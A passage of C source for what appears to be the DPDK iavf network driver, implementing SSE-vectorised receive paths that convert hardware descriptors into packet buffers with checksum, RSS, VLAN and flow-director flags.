_mm_store_si128((__m128i *)&rx_pkts[0]->rearm_data, rearm0);
_mm_store_si128((__m128i *)&rx_pkts[1]->rearm_data, rearm1);
_mm_store_si128((__m128i *)&rx_pkts[2]->rearm_data, rearm2);
_mm_store_si128((__m128i *)&rx_pkts[3]->rearm_data, rearm3);
}
static inline __m128i
flex_rxd_to_fdir_flags_vec(const __m128i fdir_id0_3)
{
#define FDID_MIS_MAGIC 0xFFFFFFFF
RTE_BUILD_BUG_ON(PKT_RX_FDIR != (1 << 2));
RTE_BUILD_BUG_ON(PKT_RX_FDIR_ID != (1 << 13));
const __m128i pkt_fdir_bit = _mm_set1_epi32(PKT_RX_FDIR |
PKT_RX_FDIR_ID);
/* desc->flow_id field == 0xFFFFFFFF means fdir mismatch */
const __m128i fdir_mis_mask = _mm_set1_epi32(FDID_MIS_MAGIC);
__m128i fdir_mask = _mm_cmpeq_epi32(fdir_id0_3,
fdir_mis_mask);
/* this XOR op results to bit-reverse the fdir_mask */
fdir_mask = _mm_xor_si128(fdir_mask, fdir_mis_mask);
const __m128i fdir_flags = _mm_and_si128(fdir_mask, pkt_fdir_bit);
return fdir_flags;
}
static inline void
flex_desc_to_olflags_v(struct iavf_rx_queue *rxq, __m128i descs[4],
struct rte_mbuf **rx_pkts)
{
const __m128i mbuf_init = _mm_set_epi64x(0, rxq->mbuf_initializer);
__m128i rearm0, rearm1, rearm2, rearm3;
__m128i tmp_desc, flags, rss_vlan;
/* mask everything except checksum, RSS and VLAN flags.
* bit6:4 for checksum.
* bit12 for RSS indication.
* bit13 for VLAN indication.
*/
const __m128i desc_mask = _mm_set_epi32(0x3070, 0x3070,
0x3070, 0x3070);
const __m128i cksum_mask = _mm_set_epi32(PKT_RX_IP_CKSUM_MASK |
PKT_RX_L4_CKSUM_MASK |
PKT_RX_EIP_CKSUM_BAD,
PKT_RX_IP_CKSUM_MASK |
PKT_RX_L4_CKSUM_MASK |
PKT_RX_EIP_CKSUM_BAD,
PKT_RX_IP_CKSUM_MASK |
PKT_RX_L4_CKSUM_MASK |
PKT_RX_EIP_CKSUM_BAD,
PKT_RX_IP_CKSUM_MASK |
PKT_RX_L4_CKSUM_MASK |
PKT_RX_EIP_CKSUM_BAD);
/* map the checksum, rss and vlan fields to the checksum, rss
* and vlan flag
*/
const __m128i cksum_flags = _mm_set_epi8(0, 0, 0, 0, 0, 0, 0, 0,
/* shift right 1 bit to make sure it not exceed 255 */
(PKT_RX_EIP_CKSUM_BAD | PKT_RX_L4_CKSUM_BAD |
PKT_RX_IP_CKSUM_BAD) >> 1,
(PKT_RX_EIP_CKSUM_BAD | PKT_RX_L4_CKSUM_BAD |
PKT_RX_IP_CKSUM_GOOD) >> 1,
(PKT_RX_EIP_CKSUM_BAD | PKT_RX_L4_CKSUM_GOOD |
PKT_RX_IP_CKSUM_BAD) >> 1,
(PKT_RX_EIP_CKSUM_BAD | PKT_RX_L4_CKSUM_GOOD |
PKT_RX_IP_CKSUM_GOOD) >> 1,
(PKT_RX_L4_CKSUM_BAD | PKT_RX_IP_CKSUM_BAD) >> 1,
(PKT_RX_L4_CKSUM_BAD | PKT_RX_IP_CKSUM_GOOD) >> 1,
(PKT_RX_L4_CKSUM_GOOD | PKT_RX_IP_CKSUM_BAD) >> 1,
(PKT_RX_L4_CKSUM_GOOD | PKT_RX_IP_CKSUM_GOOD) >> 1);
const __m128i rss_vlan_flags = _mm_set_epi8(0, 0, 0, 0,
0, 0, 0, 0,
0, 0, 0, 0,
PKT_RX_RSS_HASH | PKT_RX_VLAN | PKT_RX_VLAN_STRIPPED,
PKT_RX_VLAN | PKT_RX_VLAN_STRIPPED,
PKT_RX_RSS_HASH, 0);
/* merge 4 descriptors */
flags = _mm_unpackhi_epi32(descs[0], descs[1]);
tmp_desc = _mm_unpackhi_epi32(descs[2], descs[3]);
tmp_desc = _mm_unpacklo_epi64(flags, tmp_desc);
tmp_desc = _mm_and_si128(flags, desc_mask);
/* checksum flags */
tmp_desc = _mm_srli_epi32(tmp_desc, 4);
flags = _mm_shuffle_epi8(cksum_flags, tmp_desc);
/* then we shift left 1 bit */
flags = _mm_slli_epi32(flags, 1);
/* we need to mask out the redundant bits introduced by RSS or
* VLAN fields.
*/
flags = _mm_and_si128(flags, cksum_mask);
/* RSS, VLAN flag */
tmp_desc = _mm_srli_epi32(tmp_desc, 8);
rss_vlan = _mm_shuffle_epi8(rss_vlan_flags, tmp_desc);
/* merge the flags */
flags = _mm_or_si128(flags, rss_vlan);
if (rxq->fdir_enabled) {
const __m128i fdir_id0_1 =
_mm_unpackhi_epi32(descs[0], descs[1]);
const __m128i fdir_id2_3 =
_mm_unpackhi_epi32(descs[2], descs[3]);
const __m128i fdir_id0_3 =
_mm_unpackhi_epi64(fdir_id0_1, fdir_id2_3);
const __m128i fdir_flags =
flex_rxd_to_fdir_flags_vec(fdir_id0_3);
/* merge with fdir_flags */
flags = _mm_or_si128(flags, fdir_flags);
/* write fdir_id to mbuf */
rx_pkts[0]->hash.fdir.hi =
_mm_extract_epi32(fdir_id0_3, 0);
rx_pkts[1]->hash.fdir.hi =
_mm_extract_epi32(fdir_id0_3, 1);
rx_pkts[2]->hash.fdir.hi =
_mm_extract_epi32(fdir_id0_3, 2);
rx_pkts[3]->hash.fdir.hi =
_mm_extract_epi32(fdir_id0_3, 3);
} /* if() on fdir_enabled */
/**
* At this point, we have the 4 sets of flags in the low 16-bits
* of each 32-bit value in flags.
* We want to extract these, and merge them with the mbuf init data
* so we can do a single 16-byte write to the mbuf to set the flags
* and all the other initialization fields. Extracting the
* appropriate flags means that we have to do a shift and blend for
* each mbuf before we do the write.
*/
rearm0 = _mm_blend_epi16(mbuf_init, _mm_slli_si128(flags, 8), 0x10);
rearm1 = _mm_blend_epi16(mbuf_init, _mm_slli_si128(flags, 4), 0x10);
rearm2 = _mm_blend_epi16(mbuf_init, flags, 0x10);
rearm3 = _mm_blend_epi16(mbuf_init, _mm_srli_si128(flags, 4), 0x10);
/* write the rearm data and the olflags in one write */
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, ol_flags) !=
offsetof(struct rte_mbuf, rearm_data) + 8);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, rearm_data) !=
RTE_ALIGN(offsetof(struct rte_mbuf, rearm_data), 16));
_mm_store_si128((__m128i *)&rx_pkts[0]->rearm_data, rearm0);
_mm_store_si128((__m128i *)&rx_pkts[1]->rearm_data, rearm1);
_mm_store_si128((__m128i *)&rx_pkts[2]->rearm_data, rearm2);
_mm_store_si128((__m128i *)&rx_pkts[3]->rearm_data, rearm3);
}
#define PKTLEN_SHIFT 10
static inline void
desc_to_ptype_v(__m128i descs[4], struct rte_mbuf **rx_pkts,
const uint32_t *type_table)
{
__m128i ptype0 = _mm_unpackhi_epi64(descs[0], descs[1]);
__m128i ptype1 = _mm_unpackhi_epi64(descs[2], descs[3]);
ptype0 = _mm_srli_epi64(ptype0, 30);
ptype1 = _mm_srli_epi64(ptype1, 30);
rx_pkts[0]->packet_type = type_table[_mm_extract_epi8(ptype0, 0)];
rx_pkts[1]->packet_type = type_table[_mm_extract_epi8(ptype0, 8)];
rx_pkts[2]->packet_type = type_table[_mm_extract_epi8(ptype1, 0)];
rx_pkts[3]->packet_type = type_table[_mm_extract_epi8(ptype1, 8)];
}
static inline void
flex_desc_to_ptype_v(__m128i descs[4], struct rte_mbuf **rx_pkts,
const uint32_t *type_table)
{
const __m128i ptype_mask = _mm_set_epi16(0, IAVF_RX_FLEX_DESC_PTYPE_M,
0, IAVF_RX_FLEX_DESC_PTYPE_M,
0, IAVF_RX_FLEX_DESC_PTYPE_M,
0, IAVF_RX_FLEX_DESC_PTYPE_M);
__m128i ptype_01 = _mm_unpacklo_epi32(descs[0], descs[1]);
__m128i ptype_23 = _mm_unpacklo_epi32(descs[2], descs[3]);
__m128i ptype_all = _mm_unpacklo_epi64(ptype_01, ptype_23);
ptype_all = _mm_and_si128(ptype_all, ptype_mask);
rx_pkts[0]->packet_type = type_table[_mm_extract_epi16(ptype_all, 1)];
rx_pkts[1]->packet_type = type_table[_mm_extract_epi16(ptype_all, 3)];
rx_pkts[2]->packet_type = type_table[_mm_extract_epi16(ptype_all, 5)];
rx_pkts[3]->packet_type = type_table[_mm_extract_epi16(ptype_all, 7)];
}
/* Notice:
* - nb_pkts < IAVF_VPMD_DESCS_PER_LOOP, just return no packet
* - nb_pkts > IAVF_VPMD_RX_MAX_BURST, only scan IAVF_VPMD_RX_MAX_BURST
* numbers of DD bits
*/
static inline uint16_t
_recv_raw_pkts_vec(struct iavf_rx_queue *rxq, struct rte_mbuf **rx_pkts,
uint16_t nb_pkts, uint8_t *split_packet)
{
volatile union iavf_rx_desc *rxdp;
struct rte_mbuf **sw_ring;
uint16_t nb_pkts_recd;
int pos;
uint64_t var;
__m128i shuf_msk;
const uint32_t *ptype_tbl = rxq->vsi->adapter->ptype_tbl;
__m128i crc_adjust = _mm_set_epi16(
0, 0, 0, /* ignore non-length fields */
-rxq->crc_len, /* sub crc on data_len */
0, /* ignore high-16bits of pkt_len */
-rxq->crc_len, /* sub crc on pkt_len */
0, 0 /* ignore pkt_type field */
);
/* compile-time check the above crc_adjust layout is correct.
* NOTE: the first field (lowest address) is given last in set_epi16
* call above.
*/
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, pkt_len) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 4);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, data_len) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 8);
__m128i dd_check, eop_check;
/* nb_pkts shall be less equal than IAVF_VPMD_RX_MAX_BURST */
nb_pkts = RTE_MIN(nb_pkts, IAVF_VPMD_RX_MAX_BURST);
/* nb_pkts has to be floor-aligned to IAVF_VPMD_DESCS_PER_LOOP */
nb_pkts = RTE_ALIGN_FLOOR(nb_pkts, IAVF_VPMD_DESCS_PER_LOOP);
/* Just the act of getting into the function from the application is
* going to cost about 7 cycles
*/
rxdp = rxq->rx_ring + rxq->rx_tail;
rte_prefetch0(rxdp);
/* See if we need to rearm the RX queue - gives the prefetch a bit
* of time to act
*/
if (rxq->rxrearm_nb > rxq->rx_free_thresh)
iavf_rxq_rearm(rxq);
/* Before we start moving massive data around, check to see if
* there is actually a packet available
*/
if (!(rxdp->wb.qword1.status_error_len &
rte_cpu_to_le_32(1 << IAVF_RX_DESC_STATUS_DD_SHIFT)))
return 0;
/* 4 packets DD mask */
dd_check = _mm_set_epi64x(0x0000000100000001LL, 0x0000000100000001LL);
/* 4 packets EOP mask */
eop_check = _mm_set_epi64x(0x0000000200000002LL, 0x0000000200000002LL);
/* mask to shuffle from desc. to mbuf */
shuf_msk = _mm_set_epi8(
7, 6, 5, 4, /* octet 4~7, 32bits rss */
3, 2, /* octet 2~3, low 16 bits vlan_macip */
15, 14, /* octet 15~14, 16 bits data_len */
0xFF, 0xFF, /* skip high 16 bits pkt_len, zero out */
15, 14, /* octet 15~14, low 16 bits pkt_len */
0xFF, 0xFF, 0xFF, 0xFF /* pkt_type set as unknown */
);
/* Compile-time verify the shuffle mask
* NOTE: some field positions already verified above, but duplicated
* here for completeness in case of future modifications.
*/
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, pkt_len) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 4);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, data_len) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 8);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, vlan_tci) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 10);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, hash) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 12);
/* Cache is empty -> need to scan the buffer rings, but first move
* the next 'n' mbufs into the cache
*/
sw_ring = &rxq->sw_ring[rxq->rx_tail];
/* A. load 4 packet in one loop
* [A*. mask out 4 unused dirty field in desc]
* B. copy 4 mbuf point from swring to rx_pkts
* C. calc the number of DD bits among the 4 packets
* [C*. extract the end-of-packet bit, if requested]
* D. fill info. from desc to mbuf
*/
for (pos = 0, nb_pkts_recd = 0; pos < nb_pkts;
pos += IAVF_VPMD_DESCS_PER_LOOP,
rxdp += IAVF_VPMD_DESCS_PER_LOOP) {
__m128i descs[IAVF_VPMD_DESCS_PER_LOOP];
__m128i pkt_mb1, pkt_mb2, pkt_mb3, pkt_mb4;
__m128i zero, staterr, sterr_tmp1, sterr_tmp2;
/* 2 64 bit or 4 32 bit mbuf pointers in one XMM reg. */
__m128i mbp1;
#if defined(RTE_ARCH_X86_64)
__m128i mbp2;
#endif
/* B.1 load 2 (64 bit) or 4 (32 bit) mbuf points */
mbp1 = _mm_loadu_si128((__m128i *)&sw_ring[pos]);
/* Read desc statuses backwards to avoid race condition */
/* A.1 load 4 pkts desc */
descs[3] = _mm_loadu_si128((__m128i *)(rxdp + 3));
rte_compiler_barrier();
/* B.2 copy 2 64 bit or 4 32 bit mbuf point into rx_pkts */
_mm_storeu_si128((__m128i *)&rx_pkts[pos], mbp1);
#if defined(RTE_ARCH_X86_64)
/* B.1 load 2 64 bit mbuf points */
mbp2 = _mm_loadu_si128((__m128i *)&sw_ring[pos + 2]);
#endif
descs[2] = _mm_loadu_si128((__m128i *)(rxdp + 2));
rte_compiler_barrier();
/* B.1 load 2 mbuf point */
descs[1] = _mm_loadu_si128((__m128i *)(rxdp + 1));
rte_compiler_barrier();
descs[0] = _mm_loadu_si128((__m128i *)(rxdp));
#if defined(RTE_ARCH_X86_64)
/* B.2 copy 2 mbuf point into rx_pkts */
_mm_storeu_si128((__m128i *)&rx_pkts[pos + 2], mbp2);
#endif
if (split_packet) {
rte_mbuf_prefetch_part2(rx_pkts[pos]);
rte_mbuf_prefetch_part2(rx_pkts[pos + 1]);
rte_mbuf_prefetch_part2(rx_pkts[pos + 2]);
rte_mbuf_prefetch_part2(rx_pkts[pos + 3]);
}
/* avoid compiler reorder optimization */
rte_compiler_barrier();
/* pkt 3,4 shift the pktlen field to be 16-bit aligned*/
const __m128i len3 = _mm_slli_epi32(descs[3], PKTLEN_SHIFT);
const __m128i len2 = _mm_slli_epi32(descs[2], PKTLEN_SHIFT);
/* merge the now-aligned packet length fields back in */
descs[3] = _mm_blend_epi16(descs[3], len3, 0x80);
descs[2] = _mm_blend_epi16(descs[2], len2, 0x80);
/* D.1 pkt 3,4 convert format from desc to pktmbuf */
pkt_mb4 = _mm_shuffle_epi8(descs[3], shuf_msk);
pkt_mb3 = _mm_shuffle_epi8(descs[2], shuf_msk);
/* C.1 4=>2 status err info only */
sterr_tmp2 = _mm_unpackhi_epi32(descs[3], descs[2]);
sterr_tmp1 = _mm_unpackhi_epi32(descs[1], descs[0]);
desc_to_olflags_v(rxq, descs, &rx_pkts[pos]);
/* D.2 pkt 3,4 set in_port/nb_seg and remove crc */
pkt_mb4 = _mm_add_epi16(pkt_mb4, crc_adjust);
pkt_mb3 = _mm_add_epi16(pkt_mb3, crc_adjust);
/* pkt 1,2 shift the pktlen field to be 16-bit aligned*/
const __m128i len1 = _mm_slli_epi32(descs[1], PKTLEN_SHIFT);
const __m128i len0 = _mm_slli_epi32(descs[0], PKTLEN_SHIFT);
/* merge the now-aligned packet length fields back in */
descs[1] = _mm_blend_epi16(descs[1], len1, 0x80);
descs[0] = _mm_blend_epi16(descs[0], len0, 0x80);
/* D.1 pkt 1,2 convert format from desc to pktmbuf */
pkt_mb2 = _mm_shuffle_epi8(descs[1], shuf_msk);
pkt_mb1 = _mm_shuffle_epi8(descs[0], shuf_msk);
/* C.2 get 4 pkts status err value */
zero = _mm_xor_si128(dd_check, dd_check);
staterr = _mm_unpacklo_epi32(sterr_tmp1, sterr_tmp2);
/* D.3 copy final 3,4 data to rx_pkts */
_mm_storeu_si128(
(void *)&rx_pkts[pos + 3]->rx_descriptor_fields1,
pkt_mb4);
_mm_storeu_si128(
(void *)&rx_pkts[pos + 2]->rx_descriptor_fields1,
pkt_mb3);
/* D.2 pkt 1,2 remove crc */
pkt_mb2 = _mm_add_epi16(pkt_mb2, crc_adjust);
pkt_mb1 = _mm_add_epi16(pkt_mb1, crc_adjust);
/* C* extract and record EOP bit */
if (split_packet) {
__m128i eop_shuf_mask = _mm_set_epi8(
0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF,
0x04, 0x0C, 0x00, 0x08
);
/* and with mask to extract bits, flipping 1-0 */
__m128i eop_bits = _mm_andnot_si128(staterr, eop_check);
/* the staterr values are not in order, as the count
* count of dd bits doesn't care. However, for end of
* packet tracking, we do care, so shuffle. This also
* compresses the 32-bit values to 8-bit
*/
eop_bits = _mm_shuffle_epi8(eop_bits, eop_shuf_mask);
/* store the resulting 32-bit value */
*(int *)split_packet = _mm_cvtsi128_si32(eop_bits);
split_packet += IAVF_VPMD_DESCS_PER_LOOP;
}
/* C.3 calc available number of desc */
staterr = _mm_and_si128(staterr, dd_check);
staterr = _mm_packs_epi32(staterr, zero);
/* D.3 copy final 1,2 data to rx_pkts */
_mm_storeu_si128(
(void *)&rx_pkts[pos + 1]->rx_descriptor_fields1,
pkt_mb2);
_mm_storeu_si128((void *)&rx_pkts[pos]->rx_descriptor_fields1,
pkt_mb1);
desc_to_ptype_v(descs, &rx_pkts[pos], ptype_tbl);
/* C.4 calc avaialbe number of desc */
var = __builtin_popcountll(_mm_cvtsi128_si64(staterr));
nb_pkts_recd += var;
if (likely(var != IAVF_VPMD_DESCS_PER_LOOP))
break;
}
/* Update our internal tail pointer */
rxq->rx_tail = (uint16_t)(rxq->rx_tail + nb_pkts_recd);
rxq->rx_tail = (uint16_t)(rxq->rx_tail & (rxq->nb_rx_desc - 1));
rxq->rxrearm_nb = (uint16_t)(rxq->rxrearm_nb + nb_pkts_recd);
return nb_pkts_recd;
}
/* Notice:
* - nb_pkts < IAVF_VPMD_DESCS_PER_LOOP, just return no packet
* - nb_pkts > IAVF_VPMD_RX_MAX_BURST, only scan IAVF_VPMD_RX_MAX_BURST
* numbers of DD bits
*/
static inline uint16_t
_recv_raw_pkts_vec_flex_rxd(struct iavf_rx_queue *rxq,
struct rte_mbuf **rx_pkts,
uint16_t nb_pkts, uint8_t *split_packet)
{
volatile union iavf_rx_flex_desc *rxdp;
struct rte_mbuf **sw_ring;
uint16_t nb_pkts_recd;
int pos;
uint64_t var;
const uint32_t *ptype_tbl = rxq->vsi->adapter->ptype_tbl;
__m128i crc_adjust = _mm_set_epi16
(0, 0, 0, /* ignore non-length fields */
-rxq->crc_len, /* sub crc on data_len */
0, /* ignore high-16bits of pkt_len */
-rxq->crc_len, /* sub crc on pkt_len */
0, 0 /* ignore pkt_type field */
);
const __m128i zero = _mm_setzero_si128();
/* mask to shuffle from desc. to mbuf */
const __m128i shuf_msk = _mm_set_epi8
(0xFF, 0xFF,
0xFF, 0xFF, /* rss hash parsed separately */
11, 10, /* octet 10~11, 16 bits vlan_macip */
5, 4, /* octet 4~5, 16 bits data_len */
0xFF, 0xFF, /* skip high 16 bits pkt_len, zero out */
5, 4, /* octet 4~5, low 16 bits pkt_len */
0xFF, 0xFF, /* pkt_type set as unknown */
0xFF, 0xFF /* pkt_type set as unknown */
);
const __m128i eop_shuf_mask = _mm_set_epi8(0xFF, 0xFF,
0xFF, 0xFF,
0xFF, 0xFF,
0xFF, 0xFF,
0xFF, 0xFF,
0xFF, 0xFF,
0x04, 0x0C,
0x00, 0x08);
/**
* compile-time check the above crc_adjust layout is correct.
* NOTE: the first field (lowest address) is given last in set_epi16
* call above.
*/
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, pkt_len) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 4);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, data_len) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 8);
/* 4 packets DD mask */
const __m128i dd_check = _mm_set_epi64x(0x0000000100000001LL,
0x0000000100000001LL);
/* 4 packets EOP mask */
const __m128i eop_check = _mm_set_epi64x(0x0000000200000002LL,
0x0000000200000002LL);
/* nb_pkts shall be less equal than IAVF_VPMD_RX_MAX_BURST */
nb_pkts = RTE_MIN(nb_pkts, IAVF_VPMD_RX_MAX_BURST);
/* nb_pkts has to be floor-aligned to IAVF_VPMD_DESCS_PER_LOOP */
nb_pkts = RTE_ALIGN_FLOOR(nb_pkts, IAVF_VPMD_DESCS_PER_LOOP);
/* Just the act of getting into the function from the application is
* going to cost about 7 cycles
*/
rxdp = (union iavf_rx_flex_desc *)rxq->rx_ring + rxq->rx_tail;
rte_prefetch0(rxdp);
/* See if we need to rearm the RX queue - gives the prefetch a bit
* of time to act
*/
if (rxq->rxrearm_nb > rxq->rx_free_thresh)
iavf_rxq_rearm(rxq);
/* Before we start moving massive data around, check to see if
* there is actually a packet available
*/
if (!(rxdp->wb.status_error0 &
rte_cpu_to_le_32(1 << IAVF_RX_FLEX_DESC_STATUS0_DD_S)))
return 0;
/**
* Compile-time verify the shuffle mask
* NOTE: some field positions already verified above, but duplicated
* here for completeness in case of future modifications.
*/
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, pkt_len) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 4);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, data_len) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 8);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, vlan_tci) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 10);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, hash) !=
offsetof(struct rte_mbuf, rx_descriptor_fields1) + 12);
/* Cache is empty -> need to scan the buffer rings, but first move
* the next 'n' mbufs into the cache
*/
sw_ring = &rxq->sw_ring[rxq->rx_tail];
/* A. load 4 packet in one loop
* [A*. mask out 4 unused dirty field in desc]
* B. copy 4 mbuf point from swring to rx_pkts
* C. calc the number of DD bits among the 4 packets
* [C*. extract the end-of-packet bit, if requested]
* D. fill info. from desc to mbuf
*/
for (pos = 0, nb_pkts_recd = 0; pos < nb_pkts;
pos += IAVF_VPMD_DESCS_PER_LOOP,
rxdp += IAVF_VPMD_DESCS_PER_LOOP) {
__m128i descs[IAVF_VPMD_DESCS_PER_LOOP];
__m128i pkt_mb0, pkt_mb1, pkt_mb2, pkt_mb3;
__m128i staterr, sterr_tmp1, sterr_tmp2;
/* 2 64 bit or 4 32 bit mbuf pointers in one XMM reg. */
__m128i mbp1;
#if defined(RTE_ARCH_X86_64)
__m128i mbp2;
#endif
/* B.1 load 2 (64 bit) or 4 (32 bit) mbuf points */
mbp1 = _mm_loadu_si128((__m128i *)&sw_ring[pos]);
/* Read desc statuses backwards to avoid race condition */
/* A.1 load 4 pkts desc */
descs[3] = _mm_loadu_si128((__m128i *)(rxdp + 3));
rte_compiler_barrier();
/* B.2 copy 2 64 bit or 4 32 bit mbuf point into rx_pkts */
_mm_storeu_si128((__m128i *)&rx_pkts[pos], mbp1);
#if defined(RTE_ARCH_X86_64)
/* B.1 load 2 64 bit mbuf points */
mbp2 = _mm_loadu_si128((__m128i *)&sw_ring[pos + 2]);
#endif
descs[2] = _mm_loadu_si128((__m128i *)(rxdp + 2));
rte_compiler_barrier();
/* B.1 load 2 mbuf point */
descs[1] = _mm_loadu_si128((__m128i *)(rxdp + 1));
rte_compiler_barrier();
descs[0] = _mm_loadu_si128((__m128i *)(rxdp));
#if defined(RTE_ARCH_X86_64)
/* B.2 copy 2 mbuf point into rx_pkts */
_mm_storeu_si128((__m128i *)&rx_pkts[pos + 2], mbp2);
#endif
if (split_packet) {
rte_mbuf_prefetch_part2(rx_pkts[pos]);
rte_mbuf_prefetch_part2(rx_pkts[pos + 1]);
rte_mbuf_prefetch_part2(rx_pkts[pos + 2]);
rte_mbuf_prefetch_part2(rx_pkts[pos + 3]);
}
/* avoid compiler reorder optimization */
rte_compiler_barrier();
/* D.1 pkt 3,4 convert format from desc to pktmbuf */
pkt_mb3 = _mm_shuffle_epi8(descs[3], shuf_msk);
pkt_mb2 = _mm_shuffle_epi8(descs[2], shuf_msk);
/* D.1 pkt 1,2 convert format from desc to pktmbuf */
pkt_mb1 = _mm_shuffle_epi8(descs[1], shuf_msk);
pkt_mb0 = _mm_shuffle_epi8(descs[0], shuf_msk);
/* C.1 4=>2 filter staterr info only */
sterr_tmp2 = _mm_unpackhi_epi32(descs[3], descs[2]);
/* C.1 4=>2 filter staterr info only */
sterr_tmp1 = _mm_unpackhi_epi32(descs[1], descs[0]);
flex_desc_to_olflags_v(rxq, descs, &rx_pkts[pos]);
/* D.2 pkt 3,4 set in_port/nb_seg and remove crc */
pkt_mb3 = _mm_add_epi16(pkt_mb3, crc_adjust);
pkt_mb2 = _mm_add_epi16(pkt_mb2, crc_adjust);
/* D.2 pkt 1,2 set in_port/nb_seg and remove crc */
pkt_mb1 = _mm_add_epi16(pkt_mb1, crc_adjust);
pkt_mb0 = _mm_add_epi16(pkt_mb0, crc_adjust);
#ifndef RTE_LIBRTE_IAVF_16BYTE_RX_DESC
/**
* needs to load 2nd 16B of each desc for RSS hash parsing,
* will cause performance drop to get into this context.
*/
if (rxq->vsi->adapter->eth_dev->data->dev_conf.rxmode.offloads &
DEV_RX_OFFLOAD_RSS_HASH) {
/* load bottom half of every 32B desc */
const __m128i raw_desc_bh3 =
_mm_load_si128
((void *)(&rxdp[3].wb.status_error1));
rte_compiler_barrier();
const __m128i raw_desc_bh2 =
_mm_load_si128
((void *)(&rxdp[2].wb.status_error1));
rte_compiler_barrier();
const __m128i raw_desc_bh1 =
_mm_load_si128
((void *)(&rxdp[1].wb.status_error1));
rte_compiler_barrier();
const __m128i raw_desc_bh0 =
_mm_load_si128
((void *)(&rxdp[0].wb.status_error1));
/**
* to shift the 32b RSS hash value to the
* highest 32b of each 128b before mask
*/
__m128i rss_hash3 =
_mm_slli_epi64(raw_desc_bh3, 32);
__m128i rss_hash2 =
_mm_slli_epi64(raw_desc_bh2, 32);
__m128i rss_hash1 =
_mm_slli_epi64(raw_desc_bh1, 32);
__m128i rss_hash0 =
_mm_slli_epi64(raw_desc_bh0, 32);
__m128i rss_hash_msk =
_mm_set_epi32(0xFFFFFFFF, 0, 0, 0);
rss_hash3 = _mm_and_si128
(rss_hash3, rss_hash_msk);
rss_hash2 = _mm_and_si128
(rss_hash2, rss_hash_msk);
rss_hash1 = _mm_and_si128
(rss_hash1, rss_hash_msk);
rss_hash0 = _mm_and_si128
(rss_hash0, rss_hash_msk);
pkt_mb3 = _mm_or_si128(pkt_mb3, rss_hash3);
pkt_mb2 = _mm_or_si128(pkt_mb2, rss_hash2);
pkt_mb1 = _mm_or_si128(pkt_mb1, rss_hash1);
pkt_mb0 = _mm_or_si128(pkt_mb0, rss_hash0);
} /* if() on RSS hash parsing */
#endif
/* C.2 get 4 pkts staterr value */
staterr = _mm_unpacklo_epi32(sterr_tmp1, sterr_tmp2);
/* D.3 copy final 3,4 data to rx_pkts */
_mm_storeu_si128
((void *)&rx_pkts[pos + 3]->rx_descriptor_fields1,
pkt_mb3);
_mm_storeu_si128
((void *)&rx_pkts[pos + 2]->rx_descriptor_fields1,
pkt_mb2);
/* C* extract and record EOP bit */
if (split_packet) {
/* and with mask to extract bits, flipping 1-0 */
__m128i eop_bits = _mm_andnot_si128(staterr, eop_check);
/* the staterr values are not in order, as the count
* count of dd bits doesn't care. However, for end of
* packet tracking, we do care, so shuffle. This also
* compresses the 32-bit values to 8-bit
*/
eop_bits = _mm_shuffle_epi8(eop_bits, eop_shuf_mask);
/* store the resulting 32-bit value */
*(int *)split_packet = _mm_cvtsi128_si32(eop_bits);
split_packet += IAVF_VPMD_DESCS_PER_LOOP;
}
/* C.3 calc available number of desc */
staterr = _mm_and_si128(staterr, dd_check);
staterr = _mm_packs_epi32(staterr, zero);
/* D.3 copy final 1,2 data to rx_pkts */
_mm_storeu_si128
((void *)&rx_pkts[pos + 1]->rx_descriptor_fields1,
pkt_mb1);
_mm_storeu_si128((void *)&rx_pkts[pos]->rx_descriptor_fields1,
pkt_mb0);
flex_desc_to_ptype_v(descs, &rx_pkts[pos], ptype_tbl);
/* C.4 calc available number of desc */
var = __builtin_popcountll(_mm_cvtsi128_si64(staterr));
nb_pkts_recd += var;
if (likely(var != IAVF_VPMD_DESCS_PER_LOOP))
break;
}
/* Update our internal tail pointer */
rxq->rx_tail = (uint16_t)(rxq->rx_tail + nb_pkts_recd);
rxq->rx_tail = (uint16_t)(rxq->rx_tail & (rxq->nb_rx_desc - 1));
rxq->rxrearm_nb = (uint16_t)(rxq->rxrearm_nb + nb_pkts_recd);
return nb_pkts_recd;
}
/* Notice:
* - nb_pkts < IAVF_DESCS_PER_LOOP, just return no packet
* - nb_pkts > IAVF_VPMD_RX_MAX_BURST, only scan IAVF_VPMD_RX_MAX_BURST
* numbers of DD bits
*/
uint16_t
iavf_recv_pkts_vec(void *rx_queue, struct rte_mbuf **rx_pkts,
uint16_t nb_pkts)
{
return _recv_raw_pkts_vec(rx_queue, rx_pkts, nb_pkts, NULL);
}
/* Notice:
* - nb_pkts < IAVF_DESCS_PER_LOOP, just return no packet
* - nb_pkts > IAVF_VPMD_RX_MAX_BURST, only scan IAVF_VPMD_RX_MAX_BURST
* numbers of DD bits
*/
uint16_t
iavf_recv_pkts_vec_flex_rxd(void *rx_queue, struct rte_mbuf **rx_pkts,
uint16_t nb_pkts)
{
return _recv_raw_pkts_vec_flex_rxd(rx_queue, rx_pkts, nb_pkts, NULL);
}
/* vPMD receive routine that reassembles scattered packets
* Notice:
